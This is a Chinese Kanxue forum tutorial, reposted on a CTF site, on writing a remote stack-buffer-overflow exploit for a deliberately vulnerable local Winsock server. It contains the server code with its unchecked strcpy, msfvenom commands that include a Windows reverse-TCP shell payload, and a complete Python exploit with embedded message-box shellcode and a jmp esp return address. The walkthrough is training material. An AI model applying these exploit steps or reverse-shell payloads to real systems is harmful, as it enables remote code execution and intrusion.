EXP编写学习之网络上的EXP

渗透技巧 1年前 (2023) admin
376 0 0

EXP编写学习之网络上的EXP

本文为看雪论坛优秀文章

看雪论坛作者ID:yumoqaq





环境配置


EXP编写学习之网络上的EXP






漏洞程序与测试程序的编写


洞程序

#include <stdio.h>#include <WinSock2.h>#include <WS2tcpip.h>#pragma comment(lib,"Ws2_32.lib")  SOCKET g_Socket;sockaddr_in g_addr;  void Stack_Overflow(char* str){    char buff[500] = { 0 };    strcpy(buff, str);} int main(){    //初始化网络库    WSADATA wsaData;    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)        printf("WSAStartup failed with error: %dn", WSAGetLastError());     //初始化套接字    g_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    if (INVALID_SOCKET == g_Socket)    {        printf("socket init error:%dn", WSAGetLastError());        return 0;    }     //绑定端口    g_addr.sin_family = AF_INET;    g_addr.sin_port = htons(5566);    inet_pton(AF_INET, "127.0.0.1", &g_addr.sin_addr);    if (bind(g_Socket, (sockaddr*)&g_addr, sizeof(sockaddr)) == SOCKET_ERROR)    {        printf("bind  error:%dn", WSAGetLastError());        return 0;    }     //监听端口    if (listen(g_Socket, 20) == SOCKET_ERROR)    {        printf("listen  error:%dn", WSAGetLastError());        return 0;    }     //接收客户端连接与数据    printf("Server : accept...n");    sockaddr_in caddr;    int len = sizeof(sockaddr_in);    while (true)    {        SOCKET s = accept(g_Socket, (sockaddr*)&caddr, &len);        if (INVALID_SOCKET == s)        {            printf("accept  error:%dn", WSAGetLastError());            return 0;        }        printf("accept ok IP:%s port:%dn", inet_ntoa(caddr.sin_addr), htons(caddr.sin_port));         char recvBuf[0x2000] = { 0 };        int ret = recv(s, recvBuf, sizeof(recvBuf), 0);        if (ret <= 0)        {            printf("recv error:%dn", WSAGetLastError());            break;        }        printf("len:%dn data:%s", strlen(recvBuf), recvBuf);        Stack_Overflow(recvBuf); //溢出函数         closesocket(s);    }     closesocket(g_Socket);    WSACleanup();    return 0;}


这里可以看到,IP为本机,端口为5566 ,关闭编译选项,GS DEP ASLR ,溢出覆盖返回地址的话,不用关心safeSEH。


Python测试脚本

#!/usr/bin/python# -*- coding: UTF-8 -*- import socket,sys def Exp(ip,port):    target = ip    port =port    buffer = b'x41' * 1000    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    try:        connect = s.connect((target,port))        print("connect success")    except:        print("connect failed")        sys.exit(0)     s.sendall(buffer)    print("send payload")    try:        s.recv(1024)    except:        print("ok")    s.close() if __name__ == '__main__':    Exp('127.0.0.1',5566)





编写EXP


1.打开服务程序,x32dbg 附加, 使用py脚本发送payload。


EXP编写学习之网络上的EXP


可以看到服务程序的EIP已经被覆盖为41414141。


2.现在要确定返回地址的偏移 , 可以使用 mpattern_offset工具来定位(参考笔者前面的文章) , 笔者这里定位偏移为 504。


3.确定偏移后,还需要一个跳板地址,jmp esp , 来跳到shellcode执行 , 使用OD Findaddr 加载后查找。

EXP编写学习之网络上的EXP


4.选择 0x75A15978 这个地址吧 , 笔者使用物理机来进行测试的, 地址只在关机前有效, 因为win10系统都有ASLR ,但是开机后映射地址是不会改变的,除非你hook这个dll。


5.那么现在还需要一段 win10可以运行的 shellcode , 使用msfvenom工具来生成一个测试吧。


EXP编写学习之网络上的EXP


-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的 -l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, –nopsled < length> 为payload预先指定一个NOP滑动长度 -f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表) -e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload -a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64 –platform < platform> 指定payload的目标平台 -s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小 -b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 'x0A' 'x00'; -i, –iterations < count> 指定payload的编码次数 -c, –add-code < path> 指定一个附加的win32 shellcode文件 -x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中 -k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行 –payload-options 列举payload的标准选项 -o, –out < path> 指定创建好的payload的存放位置 -v, –var-name < name> 指定一个自定义的变量,以确定输出格式 -h, –help 查看帮助选项


这里我们使用一个反弹shell的shellcdeo进行测试,搜索payload模块。

msfvenom -l payload | grep windows

EXP编写学习之网络上的EXP

使用这个反向TCPshell模块 然后查看它所支持的格式。

msfvenom -l format Framework Transform Formats [--format <value>]==============================================    Name    ----    base32    base64    bash    c    csharp    dw    dword    hex    java    js_be    js_le    num    perl    pl    powershell    ps1    py    python    raw    rb    ruby    sh    vbapplication    vbscript


好的,我们选择py , 然后查看它支持的架构。

msfvenom -l archs Framework Architectures [--arch <value>]========================================    Name    ----    aarch64    armbe    armle    cbea    cbea64    cmd    dalvik    firefox    java    mips    mips64    mips64le    mipsbe    mipsle    nodejs    php    ppc    ppc64    ppc64le    ppce500v2    python    r    ruby    sparc    sparc64    tty    x64    x86    x86_64    zarch


这里我们选择 x86 ,最后把命令整合一下 ,生成shellcode。

msfvenom -f py -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=9999  -a x86 -b "x00" -o ~/Desktop/pyexp.txt --platform Windows Found 11 compatible encodersAttempting to encode payload with 1 iterations of x86/shikata_ga_naix86/shikata_ga_nai succeeded with size 381 (iteration=0)x86/shikata_ga_nai chosen with final size 381Payload size: 381 bytesFinal size of py file: 1865 bytesSaved as: /home/kali/Desktop/pyexp.txt


好的,看起来是成功了,测试了一下, 发现nc在win10无法使用。没办法监听。懒得弄了,换个弹窗的shellcode吧。

msfvenom -f py -p windows/messagebox  -b "x00"  -o ~/Desktop/pymessagebox.txt -a x86 --platform windows No badchars present in payload, skipping automatic encodingNo encoder specified, outputting raw payloadPayload size: 272 bytesFinal size of py file: 1330 bytesSaved as: /home/kali/Desktop/pymessagebox.txt


好的,最后的EXP是这样的:

#!/usr/bin/python# -*- coding: UTF-8 -*- import socket,sys def Exp(ip,port):    target = ip    port =port     buffer = b'x41' * 504    buffer += b'x78x59xA1x75'    nops = b'x90' * 20    shellcode = b""    shellcode += b"xd9xebx9bxd9x74x24xf4x31xd2xb2x77x31xc9"    shellcode += b"x64x8bx71x30x8bx76x0cx8bx76x1cx8bx46x08"    shellcode += b"x8bx7ex20x8bx36x38x4fx18x75xf3x59x01xd1"    shellcode += b"xffxe1x60x8bx6cx24x24x8bx45x3cx8bx54x28"    shellcode += b"x78x01xeax8bx4ax18x8bx5ax20x01xebxe3x34"    shellcode += b"x49x8bx34x8bx01xeex31xffx31xc0xfcxacx84"    shellcode += b"xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7cx24"    shellcode += b"x28x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8b"    shellcode += b"x5ax1cx01xebx8bx04x8bx01xe8x89x44x24x1c"    shellcode += b"x61xc3xb2x08x29xd4x89xe5x89xc2x68x8ex4e"    shellcode += b"x0execx52xe8x9fxffxffxffx89x45x04xbbx7e"    shellcode += b"xd8xe2x73x87x1cx24x52xe8x8exffxffxffx89"    shellcode += b"x45x08x68x6cx6cx20x41x68x33x32x2ex64x68"    shellcode += b"x75x73x65x72x30xdbx88x5cx24x0ax89xe6x56"    shellcode += b"xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1c"    shellcode += b"x24x52xe8x5fxffxffxffx68x6fx78x58x20x68"    shellcode += b"x61x67x65x42x68x4dx65x73x73x31xdbx88x5c"    shellcode += b"x24x0ax89xe3x68x58x20x20x20x68x4dx53x46"    shellcode += b"x21x68x72x6fx6dx20x68x6fx2cx20x66x68x48"    shellcode += b"x65x6cx6cx31xc9x88x4cx24x10x89xe1x31xd2"    shellcode += b"x52x53x51x52xffxd0x31xc0x50xffx55x08"     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    try:        connect = s.connect((target,port))        print("connect success")    except:        print("connect failed")        sys.exit(0)     s.sendall(buffer + nops + shellcode + nops)    print("send payload ok")     try:        s.recv(1024)    except:        print('ok')    s.close() if __name__ == '__main__':    Exp('127.0.0.1',5566)





最后的测试


1.打开漏洞程序,调试器附加,找到溢出函数,下断观察。

EXP编写学习之网络上的EXP


2.攻击测试


这里可以看到,栈已经被41覆盖,返回地址变为我们的跳板地址,后面跟nop区 与shellcode。


EXP编写学习之网络上的EXP


单步跟踪查看。


EXP编写学习之网络上的EXP


成功来到栈上执行代码。


EXP编写学习之网络上的EXP

F9跑起来,看看效果 (有时候生成的shellcode有问题) 好的,成功执行 ,并且程序自动退出。

EXP编写学习之网络上的EXP

然后让我们直接运行程序与脚本,看看效果如何。

EXP编写学习之网络上的EXP

点击确定,程序自动退出,EXP日志输出ok, Perfect。

EXP编写学习之网络上的EXP





结语


虽然还是比较基础,但是重在动手实践,顺带熟悉了msfvenom的用法与python socket的用法。



参考资料

看雪EXP编写系列第四章




EXP编写学习之网络上的EXP


看雪ID:yumoqaq

https://bbs.kanxue.com/user-home-930159.htm

*本文由看雪论坛 yumoqaq 原创,转载请注明来自看雪社区

EXP编写学习之网络上的EXP

# 往期推荐

1、CVE-2021-42287 Windows域内提权漏洞原理分析

2、Windows平台用户层二进制漏洞模糊测试入门

3、seccomp-bpf+ptrace实现修改系统调用原理

4、无限续杯——从app破解角度学习安卓保护手段

5、Android – 系统级源码调试

6、攻防世界easyjni精析


EXP编写学习之网络上的EXP


EXP编写学习之网络上的EXP

球分享

EXP编写学习之网络上的EXP

球点赞

EXP编写学习之网络上的EXP

球在看


EXP编写学习之网络上的EXP

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):EXP编写学习之网络上的EXP

版权声明:admin 发表于 2023年2月17日 下午6:01。
转载请注明:EXP编写学习之网络上的EXP | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...